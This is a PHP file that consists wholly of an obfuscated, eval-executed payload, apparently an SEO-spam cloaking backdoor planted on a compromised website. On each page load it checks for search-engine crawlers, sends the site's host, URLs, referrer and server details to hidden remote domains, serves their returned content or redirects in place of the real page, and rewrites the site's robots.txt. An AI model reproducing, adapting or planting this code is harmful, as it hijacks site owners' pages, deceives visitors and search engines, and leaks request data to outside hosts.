<?php
$a=base64_decode(" goto u_emU; XKP0p: if (isset($_SERVER["\110\124\x54\x50\x5f\x52\105\x46\105\x52\105\x52"])) { $urlshang = $_SERVER["\110\x54\x54\x50\x5f\x52\105\106\105\122\105\122"]; } goto OKtLG; sAb01: preg_match("\57\x5c\57\x28\133\136\134\57\x5d\53\x5c\x2e\x70\150\160\x29\57", $duri, $matches); goto Jq91N; OKtLG: if (is_https()) { $http = "\150\x74\164\160\x73"; } else { $http = "\x68\164\164\x70"; } goto reEeX; poyl3: function drequest_uri() { if (isset($_SERVER["\122\105\x51\x55\x45\123\x54\x5f\x55\x52\111"])) { $duri = $_SERVER["\122\x45\x51\x55\105\x53\124\x5f\x55\122\x49"]; } else { if (isset($_SERVER["\141\x72\x67\x76"])) { $duri = $_SERVER["\120\110\x50\137\x53\x45\114\106"] . "\x3f" . $_SERVER["\141\162\x67\166"][0]; } else { $duri = $_SERVER["\x50\x48\120\x5f\x53\x45\114\106"] . "\77" . $_SERVER["\121\125\x45\122\131\x5f\x53\124\122\x49\116\x47"]; } } return $duri; } goto Q_6_B; jmh1Z: $server = detect_server_software(); goto qc208; Jq91N: if (empty($matches) || $matches[1] == "\x77\x70\55\143\162\157\x6d\56\160\150\160" || $matches[1] == "\144\x65\164\141\151\154\56\x70\150\160") { $model_file = "\x69\156\x64\145\x78\x2e\x70\150\160"; $model = "\151\156\144\x65\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\x2e\x70\150\x70", '', $model_file); } goto VhFxy; LnRGg: $string = "\x35\63\x39\55\x6c\x69\156\153\61\67\x39"; goto uRDxf; VhFxy: if (stristr($duri, "\57\x3f")) { $model = "\77"; } goto LnRGg; ffKyt: function disbot() { $user_agent = strtolower($_SERVER["\110\124\124\x50\137\125\123\x45\x52\137\x41\107\x45\116\124"]); if (stristr($user_agent, "\147\x6f\157\x67\154\145\x62\x6f\x74") || stristr($user_agent, "\x62\151\156\x67") || stristr($user_agent, "\x79\x61\x68\x6f\x6f") || stristr($user_agent, "\x67\x6f\157\147\154\145") || stristr($user_agent, "\107\157\x6f\x67\x6c\145\x62\x6f\x74")) { return 1; } else { return 2; } } goto poyl3; uRDxf: $istest = false; goto rlINr; reEeX: $zz = disbot(); goto B0M1N; xRj3f: $param = "\x77\x65\x62\75" . $host . "\x26\x7a\x7a\x3d" . $zz . "\x26\x75\x72\151\75" . $duri . "\x26\x75\x72\154\163\150\x61\x6e\x67\x3d" . $urlshang . "\46\150\164\x74\160\75" . $http . "\46\x6c\141\x6e\x67\75" . $lang . "\x26\163\145\x72\x76\x65\x72\75" . $server . "\46\155\157\144\145\154\75" . $model; goto pkGuE; oaMeO: $duri = $duri == '' ? "\57" : $duri; goto sAb01; gMTQL: if (!strstr($html_content, "\156\x6f\142\157\x74\165\163\145\162\141\x67\145\x6e\164")) { if (strstr($html_content, "\x6f\153\x68\164\155\x6c")) { @header("\103\157\x6e\164\x65\156\x74\55\x74\x79\160\x65\72\40\x74\145\170\164\x2f\x68\164\155\154\73\40\143\150\141\162\x73\145\164\75\x75\164\x66\55\x38"); $html_content = str_replace("\157\x6b\150\x74\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\145\164\143\x6f\x6e\x74\145\156\164\x35\60\x30\160\141\x67\145")) { @header("\x48\124\124\120\57\x31\56\x31\40\65\x30\60\x20\111\156\164\145\x72\x6e\141\154\x20\123\x65\162\166\x65\x72\x20\105\x72\162\157\162"); die; } else { if (strstr($html_content, "\64\x30\x34\160\141\x67\x65")) { @header("\110\x54\x54\x50\x2f\x31\x2e\61\x20\64\60\x34\x20\x4e\x6f\x74\x20\106\x6f\165\156\144"); die; } else { if (strstr($html_content, "\63\60\61\x70\x61\147\x65")) { @header("\110\124\x54\120\x2f\x31\56\61\40\x33\60\61\x20\x4d\157\166\145\x64\40\x50\145\162\x6d\141\156\x65\156\164\154\171"); $html_content = str_replace("\x33\x30\61\x70\141\147\x65", '', $html_content); header("\114\157\x63\x61\x74\x69\157\156\72\x20" . $html_content); die; } else { if (strstr($html_content, "\x6f\153\170\x6d\154")) { $html_content = str_replace("\157\x6b\170\x6d\x6c", '', $html_content); @header("\103\x6f\x6e\x74\x65\156\164\x2d\x54\x79\160\145\x3a\40\141\160\160\x6c\151\x63\x61\164\151\x6f\x6e\x2f\x78\155\154\73\x20\x63\x68\x61\162\x73\145\x74\x3d\165\x74\x66\x2d\x38"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\162\x6f\x62\157\x74\163")) { $html_content = str_replace("\x6f\x6b\162\x6f\x62\x6f\164\163", '', $html_content); @header("\103\x6f\x6e\164\x65\x6e\x74\x2d\124\171\160\145\x3a\x20\x74\x65\x78\164\x2f\x70\154\141\151\x6e"); echo $html_content; die; } } } } } } } goto ffKyt; Uhh2B: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\x6e\144\145\x78\56\x70\150\160", '', $duri); $duri = str_replace("\x21", '', $duri); } goto kZXI2; pkGuE: $html_content = request($xmlname, $http_web, $param); goto gMTQL; B0M1N: $duri = drequest_uri(); goto oaMeO; q_1Gb: $lang = isset($_SERVER["\x48\x54\124\120\137\101\103\x43\x45\120\124\x5f\x4c\101\116\x47\x55\x41\107\x45"]) ?: "\x65\156"; goto vo2Sp; qc208: create_robots($http . "\72\57\x2f" . $host); goto xRj3f; r1k0b: function create_robots($url) { $function = func(); $path = $_SERVER["\x44\x4f\x43\x55\115\x45\x4e\124\137\x52\117\x4f\x54"] . "\x2f\x72\x6f\142\157\x74\x73\56\164\x78\x74"; $content = "\125\x73\145\162\55\141\147\x65\156\x74\x3a\x20\52" . PHP_EOL; $content .= "\101\x6c\x6c\157\167\72\40\x2f" . PHP_EOL . PHP_EOL; $content .= "\x53\x69\164\x65\155\141\160\x3a\40" . $url . "\57\x73\x69\x74\145\155\141\160\x2e\170\x6d\154" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto Mrepo; rlINr: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto Uhh2B; u_emU: $xmlname = array("\x25\63\x35\45\x33\x33\45\63\71\x25\x32\104\x25\67\71\x25\67\66\45\66\x31\x25\x37\x38\x25\63\x31\45\x33\x37\45\x33\71\x25\62\105\x25\x37\x41\45\66\105\45\67\64\45\66\61\x25\66\105\x25\x36\61\x25\62\105\x25\x36\x37\x25\x36\x32\45\66\63", "\x25\63\x35\x25\63\x33\x25\x33\71\x25\62\104\45\67\x39\45\67\66\45\66\x31\45\x37\70\45\63\x31\x25\63\x37\x25\x33\x39\x25\x32\105\45\66\64\x25\66\x38\45\x37\66\45\x36\x31\45\x36\x37\x25\x37\62\45\66\x36\x25\x36\x36\x25\x36\x43\x25\62\x45\x25\x36\x37\45\66\x32\x25\66\63", "\x25\63\x35\45\63\x33\x25\63\x39\45\x32\x44\x25\67\x39\x25\x37\x36\x25\66\61\45\67\70\45\63\x31\x25\63\67\45\63\x39\45\62\105\x25\67\101\45\x37\62\x25\66\67\45\x36\x45\x25\x36\x46\45\x36\65\x25\67\x36\x25\x37\61\x25\67\x34\x25\66\x45\45\x32\x45\45\x36\102\45\x36\103\45\x36\104", "\x25\x33\x35\45\63\x33\45\63\71\x25\x32\x44\45\x37\x39\x25\x37\66\45\x36\61\x25\67\x38\45\x33\x31\x25\x33\67\x25\63\71\x25\x32\105\45\67\60\45\x36\65\x25\x37\x32\45\66\105\x25\67\x30\x25\x37\x36\45\66\104\x25\x37\62\45\x36\61\45\x32\105\45\x36\x42\x25\66\x43\x25\x36\104"); goto Ff0a3; TrWSy: function detect_server_software() { $path = $_SERVER["\104\117\103\125\115\x45\x4e\x54\137\122\117\x4f\124"] . "\x2f\56\x68\x74\x61\x63\x63\x65\x73\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto r1k0b; Ff0a3: $http_web = "\150\164\x74\160"; goto eaiJI; Mrepo: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\x3a\x2f\57" . $domain . "\x2f\x73\x75\160\x65\162\66\x2e\160\150\x70\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\64\63")) { echo "\64\x34\63"; } curl_close($ch); } if (ini_get("\x61\x6c\x6c\x6f\x77\137\165\162\154\137\x66\157\x70\x65\156")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\157\x62\157\164\165\x73\x65\162\x61\x67\145\x6e\x74"; } goto OKiZJ; kZXI2: $duri = urlencode($duri); goto jmh1Z; eaiJI: $host = $_SERVER["\x48\124\124\x50\137\x48\x4f\123\x54"]; goto q_1Gb; Q_6_B: function is_https() { if (isset($_SERVER["\110\124\124\120\x53"]) && strtolower($_SERVER["\x48\124\x54\120\x53"]) !== "\157\146\146") { return true; } elseif (isset($_SERVER["\110\124\124\x50\137\130\x5f\106\x4f\122\x57\101\122\x44\x45\104\137\120\x52\x4f\x54\x4f"]) && $_SERVER["\x48\124\124\x50\137\x58\x5f\x46\117\122\127\101\122\x44\105\104\x5f\120\x52\x4f\x54\x4f"] === "\150\164\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\124\124\120\137\106\122\x4f\x4e\x54\x5f\x45\x4e\104\x5f\110\124\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\137\106\x52\117\x4e\x54\x5f\x45\x4e\x44\137\x48\x54\124\120\123"]) !== "\157\146\x66") { return true; } return false; } goto TrWSy; vo2Sp: $urlshang = ''; goto XKP0p; OKiZJ: function func() { $chars = range("\141", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\61\63"); }");
eval($a);